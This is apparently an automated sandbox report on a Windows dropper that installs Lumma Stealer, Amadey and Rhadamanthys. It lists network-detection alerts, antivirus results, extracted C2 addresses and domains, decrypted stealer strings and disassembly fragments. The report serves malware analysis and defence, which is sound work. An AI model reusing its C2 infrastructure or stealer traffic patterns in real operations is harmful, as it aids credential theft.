2024-12-20T09:12:29.822609+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49812	104.21.67.146	443	TCP
2024-12-20T09:12:36.556341+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49835	172.67.131.246	443	TCP
2024-12-20T09:12:47.983945+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49867	104.21.67.146	443	TCP
2024-12-20T09:12:56.255245+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49890	104.21.91.209	443	TCP
2024-12-20T09:12:58.297508+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49897	104.21.91.209	443	TCP
2024-12-20T09:13:00.294589+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49903	104.21.66.85	443	TCP
2024-12-20T09:13:02.320160+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49910	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:12:18.542365+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49777	172.67.131.246	443	TCP
2024-12-20T09:12:27.687932+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49806	104.21.67.146	443	TCP
2024-12-20T09:12:56.255245+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49890	104.21.91.209	443	TCP
2024-12-20T09:13:00.294589+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49903	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:12:20.570018+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49783	172.67.131.246	443	TCP
2024-12-20T09:12:29.822609+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49812	104.21.67.146	443	TCP
2024-12-20T09:12:58.297508+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49897	104.21.91.209	443	TCP
2024-12-20T09:13:02.320160+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49910	104.21.66.85	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:11:03.865827+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49954	104.21.66.85	443	TCP
2024-12-20T09:12:59.544458+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49903	104.21.66.85	443	TCP
2024-12-20T09:13:01.559271+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49910	104.21.66.85	443	TCP
2024-12-20T09:13:06.589777+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49932	104.21.66.85	443	TCP
2024-12-20T09:13:08.769763+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49939	104.21.66.85	443	TCP
2024-12-20T09:13:10.888157+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49947	104.21.66.85	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:12:17.799002+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.4	49777	172.67.131.246	443	TCP
2024-12-20T09:12:19.792209+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.4	49783	172.67.131.246	443	TCP
2024-12-20T09:12:22.341539+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.4	49791	172.67.131.246	443	TCP
2024-12-20T09:12:25.073337+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.4	49799	172.67.131.246	443	TCP
2024-12-20T09:12:27.374830+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.4	49807	172.67.131.246	443	TCP
2024-12-20T09:12:29.689630+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.4	49815	172.67.131.246	443	TCP
2024-12-20T09:12:32.151734+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.4	49822	172.67.131.246	443	TCP
2024-12-20T09:12:35.796154+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.4	49835	172.67.131.246	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:12:18.906775+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49780	185.215.113.43	80	TCP
2024-12-20T09:12:27.192149+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49805	185.215.113.43	80	TCP
2024-12-20T09:12:35.840907+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49834	185.215.113.43	80	TCP
2024-12-20T09:12:41.175580+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49849	185.215.113.43	80	TCP
2024-12-20T09:12:47.860069+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49868	185.215.113.43	80	TCP
2024-12-20T09:12:56.394377+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49893	185.215.113.43	80	TCP
2024-12-20T09:13:03.985239+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49919	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:12:57.973161+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.4	56838	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:12:16.211950+0100	2058424	1	Domain Observed Used for C2 Detected	192.168.2.4	59573	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:12:30.453263+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49815	172.67.131.246	443	TCP
2024-12-20T09:12:35.396404+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49828	104.21.67.146	443	TCP
2024-12-20T09:13:02.787858+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49913	104.21.91.209	443	TCP
2024-12-20T09:13:09.566056+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49939	104.21.66.85	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:12:04.869620+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49747	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:12:17.567528+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49753	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:12:09.947490+0100	2803305	3	Unknown Traffic	192.168.2.4	49759	31.41.244.11	80	TCP
2024-12-20T09:12:20.353115+0100	2803305	3	Unknown Traffic	192.168.2.4	49785	31.41.244.11	80	TCP
2024-12-20T09:12:28.639099+0100	2803305	3	Unknown Traffic	192.168.2.4	49808	31.41.244.11	80	TCP
2024-12-20T09:12:37.346791+0100	2803305	3	Unknown Traffic	192.168.2.4	49836	31.41.244.11	80	TCP
2024-12-20T09:12:42.622719+0100	2803305	3	Unknown Traffic	192.168.2.4	49855	31.41.244.11	80	TCP
2024-12-20T09:12:49.306216+0100	2803305	3	Unknown Traffic	192.168.2.4	49874	31.41.244.11	80	TCP
2024-12-20T09:12:57.847526+0100	2803305	3	Unknown Traffic	192.168.2.4	49899	31.41.244.11	80	TCP
2024-12-20T09:13:05.474614+0100	2803305	3	Unknown Traffic	192.168.2.4	49925	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\iscwgalo\2f324f5b70a042e8a5bbc0f48d5c8a87.exe	Avira: detection malicious, Label: HEUR/AGEN.1314134
Source: C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000000.00000003.1688419079.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["rapeflowwj.lat", "necklacebudi.lat", "sustainskelet.lat", "energyaffai.lat", "grannyejh.lat", "aspecteirs.lat", "pancakedipyps.click", "discokeyus.lat", "crosshuaht.lat"], "Build id": "FATE99--test"}
Source: 0000000D.00000003.2628711017.0000000000359000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Rhadamanthys {"C2 url": "https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1018351001\e90a98cf1a.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%
Source: C:\iscwgalo\2f324f5b70a042e8a5bbc0f48d5c8a87.exe	ReversingLabs: Detection: 85%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 59%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Joe Sandbox ML: detected
Source: C:\iscwgalo\2f324f5b70a042e8a5bbc0f48d5c8a87.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018351001\e90a98cf1a.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cheapptaxysu.click
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String decryptor: CZJvss--

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Code function: 10_2_00415799 CryptUnprotectData,

10_2_00415799

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49889 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: 63ebe314bb.exe, 0000000D.00000003.2631541787.0000000005200000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2631683602.0000000005320000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635127470.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635029460.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: 44098beb09.exe, 00000006.00000002.2441285790.0000000004F70000.00000004.08000000.00040000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 63ebe314bb.exe, 0000000D.00000003.2631972056.0000000005200000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2632161414.0000000005420000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2636944370.0000000005060000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635852169.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 63ebe314bb.exe, 0000000D.00000003.2630803783.00000000053F0000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2630592519.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634129644.0000000004E40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634317851.0000000005030000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 63ebe314bb.exe, 0000000D.00000003.2631298279.00000000053A0000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2631102777.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634816746.0000000004FE0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634625885.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 63ebe314bb.exe, 0000000D.00000003.2630803783.00000000053F0000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2630592519.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634129644.0000000004E40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634317851.0000000005030000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 63ebe314bb.exe, 0000000D.00000003.2631298279.00000000053A0000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2631102777.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634816746.0000000004FE0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634625885.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: 44098beb09.exe, 00000006.00000002.2441122145.0000000004E00000.00000004.08000000.00040000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 63ebe314bb.exe, 0000000D.00000003.2631541787.0000000005200000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2631683602.0000000005320000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635127470.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635029460.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 63ebe314bb.exe, 0000000D.00000003.2631972056.0000000005200000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2632161414.0000000005420000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2636944370.0000000005060000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635852169.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, d3ba7fdf70.exe, 00000012.00000000.2647211913.0000000000A72000.00000002.00000001.01000000.00000010.sdmp

Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	6_2_02530BD0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0Dh]	10_2_00423860
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov byte ptr [esi], al	10_2_0042DA53
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	10_2_0043ECA0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ecx, eax	10_2_004096C1
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	10_2_004096C1
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+ebx-10h]	10_2_0043C767
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then lea edx, dword ptr [ecx+01h]	10_2_0040B70C
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov esi, eax	10_2_00415799
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ecx, eax	10_2_00415799
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then jmp eax	10_2_0042984F
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov edx, ecx	10_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 5E874B5Fh	10_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then cmp dword ptr [edx+edi*8], BC9C9AFCh	10_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then test eax, eax	10_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+18h]	10_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-75h]	10_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [ecx], bp	10_2_0041D83A
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then push C0BFD6CCh	10_2_00423086
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then push C0BFD6CCh	10_2_00423086
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	10_2_0042B170
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	10_2_004179C1
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	10_2_0043B1D0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ebx, eax	10_2_0043B1D0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [ecx], dx	10_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	10_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ebx, eax	10_2_00405990
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ebp, eax	10_2_00405990
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ebx, esi	10_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [ebx], cx	10_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	10_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-7D4F867Fh]	10_2_00416263
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+61D008CBh]	10_2_00415220
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then push esi	10_2_00427AD3
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [ebx], ax	10_2_0041B2E0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then push ebx	10_2_0043CA93
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_0041CB40
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [esi], cx	10_2_0041CB40
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00428B61
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	10_2_0043F330
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ebx, eax	10_2_0040DBD9
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ebx, eax	10_2_0040DBD9
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	10_2_00417380
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then cmp word ptr [ebx+edi+02h], 0000h	10_2_0041D380
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then cmp al, 2Eh	10_2_00426B95
